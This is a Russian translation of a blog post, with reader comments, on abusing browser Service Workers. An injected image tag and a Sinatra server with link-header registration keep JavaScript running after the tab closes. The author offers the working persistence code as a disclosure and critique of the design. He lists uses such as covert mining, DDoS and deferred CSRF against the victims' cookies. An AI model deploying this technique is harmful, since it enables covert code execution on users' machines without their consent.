Если кратко: в этом посте мы рассмотрим один из множества способов запуска бесконечного выполнения кода Javascript в браузере с помощью Service Worker, а еще немного покритикуем саму технологию.
Пример вы найдете по этой ссылке. Закройте вкладку. Через несколько минут откройте DevTools/Application/ServiceWorker/Show All. Видите, код продолжает работать (хотя сейчас это может уже исправлено).
Catworker работает непрерывно и, подобно зомби, выполняет различные задания. То есть не нужно использовать вредоносную страницу, достаточно любого блога с адресом . Возможность добавлять сторонние изображения в комментариях позволит запустить наш код:
<img src="https://truefactor.io/cat.gif">
Веб-разработчики такого не ожидали: как тег изображения может запустить выполнение кода JS? Каким образом JS может выполняться непрерывно? Разве так можно?
Service Worker — это слишком сложно
Чтобы повысить популярность «прогрессивных» веб-приложений, команда Chrome создала Service Worker, не спрашивая у вас разрешения. На практике это новое «продвинутое» решение используется только чтобы показывать всплывающее push-уведомление (Конечно, полезность Service Worker-ов на этом не ограничивается, с их помощью реализуются, например, offline-режим и backsync, – прим. переводчика). Если вы не верите мне на слово, откройте свои зарегистрированные Service Worker и изучите их содержимое.
Даже это будет сделать не так-то просто: сотни строк кода, зависимость от FCM и т. д. (FCM = Firebase Cloud Messaging, но его использование не является обязательным в данном случае, – прим. переводчика). Разместите sw.js на сервере, зарегистрируйте worker на стороне клиента, подождите получения Promise, затем выполните serviceWorkerRegistration.pushManager.getSubscription(), запросите конечную точку и registration_id и сохраните их на сервере.
Так реализовал бы я:
navigator.pushManager.getSubscription("We will send you weather updates once an hour").then(function(endpoint){ #FCM endpoint })
По моему скромному мнению, Service Worker — это прекрасный ответ на несуществующий вопрос. Научиться использовать это решение гораздо сложнее, чем Appcache (AppCache, в свою очередь, считается устаревшей технологией со своими минусами, – прим. переводчика ), к тому же оно менее надежно.
Как обеспечить долговременную работу
Service Worker отключается через 60 секунд после того, как получает последнее событие, например, onmessage, onfetch, onforeignfetch и т. д.
1. Отправка сообщений самому себе.
self.addEventListener('message', function (event) {
var spawnNewMessageEvent = function (data) {
return new Promise(function (success) {
setTimeout(function () {
var sw = self.registration.active;
sw.postMessage(data);
success("success");
}, 30000)
});
};
event.waitUntil(doSomething().then(spawnNewMessageEvent));
});
1. Два worker отправляют друг другу запросы ForeignFetch. Чтобы использовать ForeignFetch, вам понадобится получить токен Origin Trial — полностью автоматизированный процесс, который не требует проверки или подтверждения и позволяет злоумышленнику применять новые экспериментальные технологии на реальных пользователях без их согласия.
2. Catworker отправляет cat.gif запрос fetch, в результате регистрируется новый worker с другой областью работы (это называется регистрация по ссылке). Процесс повторяется каждые 55 секунд.
require 'sinatra'
ot = 'AglMWHYLtMNT8FVZp9u368r0HZPKh7Pjfm7WYEyHwKz4zwaSznv682Bckrz903mz54CVZQACD5ZlSrLpuh8CKQIAAABYeyJvcmlnaW4iOiAiaHR0cHM6Ly90cnVlZmFjdG9yLmlvOjQ0MyIsICJmZWF0dXJlIjogIkZvcmVpZ25GZXRjaCIsICJleHBpcnkiOiAxNDg0OTM2NzI3fQ=='
get "/cat.gif" do
response.headers['Origin-Trial'] = ot;
response.headers['Access-Control-Allow-Origin'] = '*';
response.headers['Link'] = '</sw?'+rand(999999999).to_s+'>; rel="serviceworker"; scope="/'+rand(999999999).to_s+'"'
if params[:skip]
'ok'
else
response.headers['Content-Type'] = "image/gif"
File.open('./cat.gif').read
end
end
get "/sw" do
response.headers['Content-Type'] = "text/javascript"
return sw=<<HTML
//#{rand(999999999).to_s}
setTimeout(function(){
console.log("Forking")
fetch('https://truefactor.io/cat.gif?skip=1&'+Math.random(9999999));
}, 30000);
HTML
end
Как это могут использовать злоумышленники?
Прямо сейчас у злоумышленников есть три варианта атаки вашего браузера:
- DDoS (легко предотвратить с помощью черного списка).
- Вычисления с большой нагрузкой на память, например майнинг scrypt/litecoin. Можно получить лишь 2000 хеш-функций в секунду, но зато абсолютно бесплатно. К тому же можно использовать для вычислений миллионы машин. Обратите внимание на другие функции, которые предлагает Service Worker.
- Самый опасный вариант — отложенная атака CSRF. Обнаружив на веб-сайте уязвимость CSRF, вы можете направить задачу всем своим «зомби» и использовать их файлы cookie, чтобы выполнять запросы от их имени.
Процессы Service Worker постоянны по своей природе. Они выполняются после того, как вы закроете вкладку, произвольно получают события синхронизации и запускаются, обновляются каждые 24 часа, а если вы разрешаете веб-сайту отправлять push-уведомления, они могут выполнять код JS при каждом показе всплывающего окна. Все это уже давно используется.
В будущем у злоумышленников будет еще больше способов обойти защиту, чтобы их код продолжал работать.
Сейчас этому классу ошибок уделяют недостаточно внимания. Тикеты публичны (1, 2, 3) и получают минимальный приоритет.
Помимо всего этого, подход Origin Trial не безупречен: кто угодно может получить токен, любой может воспользоваться экспериментальной функцией в своих целях. Нужна возможность включать и отключать Service Worker по желанию.
Я убежден, что нужно добавить флажок для отключения Service Worker. Лично мне эта технология пользы не приносит. (Вы читали документацию Cache? Это же как китайская грамота.) Новые функции поступают в эксплуатацию без должной проверки, так что нельзя быть уверенным в Same Origin Policy и других важных концепций безопасности… Вот еще несколько описаний несерьезных уязвимостей: FF, JSONP+XSS=takeover, атака доменов изолированной программной среды (Sandbox).
Комментарии (4)
alxgutnikov
26.12.2016 16:20+4> Я согласен что у эпкеша есть минусы. Но он работает и он прост.
Вам придется со временем полностью от него отказаться, потому что он уже в статусе deprecated ( MDN ). И его поддержка будет удалена со временем
> Background sync неплохо конечно, но каковы юз кейсы?
Пользователь в оффлайн отправляет сообщение, которое отправится когда появится сеть. любая активность в оффлайн может быть таким образом не утеряна. Кейсов много если задуматься
> я могу ошибаться, но для push notification FCM обязательный, или другой провайдер
Имелось в виду что вы не привязаны к конкретному провайдеру — выбор серверной реализации на ваших плечах.
> Эплом вообще (читай — нет смысла реализовывать)
Эпплом, к сожалению, много что не поддерживается. Например тот же WebRTC. Это не делает технологию неюзабельной. И кстати на Chrome Summit что-то говорили про то что в Apple все-таки планируют ( не знаю насколько это окажется правдой )
Chikey
Извините что демку я уже снес, но бага до сих пор работает, используйте просто синатра апп если хотите проверить (автор статьи)
Chikey
По поводу комментариев добавленных к переводу —
> Конечно, полезность Service Worker-ов на этом не ограничивается, с их помощью реализуются, например, offline-режим и backsync, – прим. переводчика)
офлайн отлично меня устраивал в эппкеше, not a douche bag. Background sync неплохо конечно, но каковы юз кейсы?
> (FCM = Firebase Cloud Messaging, но его использование не является обязательным в данном случае, – прим. переводчика)
я могу ошибаться, но для push notification FCM обязательный, или другой провайдер. Куда то же надо слать на общий сервер.
Я согласен что у эпкеша есть минусы. Но он работает и он прост. СВ — не поддерживается Эплом вообще (читай — нет смысла реализовывать), сделан очень замудрено (функцию push notification можно вообще было в отдельное API вынести, без того чтобы плодить SW для одной единственной цели). Плюс личные причины — я давно хочу офлайн приложения чтобы были подписаны публичным ключом/ами создателей, СВ это игнорирует.
Крайне недоволен, по итогу.
printercu
Про FCM. Мозилла и гугл, реализуют по-отдельности протокол webpush. В хроме он работает на основе fcm, но разработчик ничего не должен подключать — всё предоставляет браузер, а разработчик получает только урл-эндпоинт для отправки сообщений конкретному подписчику.
Про SW.
Когда сам разбирался с sw — проклял всё. Документации мало, половина имеющейся — устарела. Но я считаю, что это просто шаг вперёд, дальше будет лучше. По моему ощущению в мире фронтенда уже некоторое время все делают по принципу: сейчас релизим как есть, а завтра латаем дыры и смотрим, что получилось. Тут так и вышло.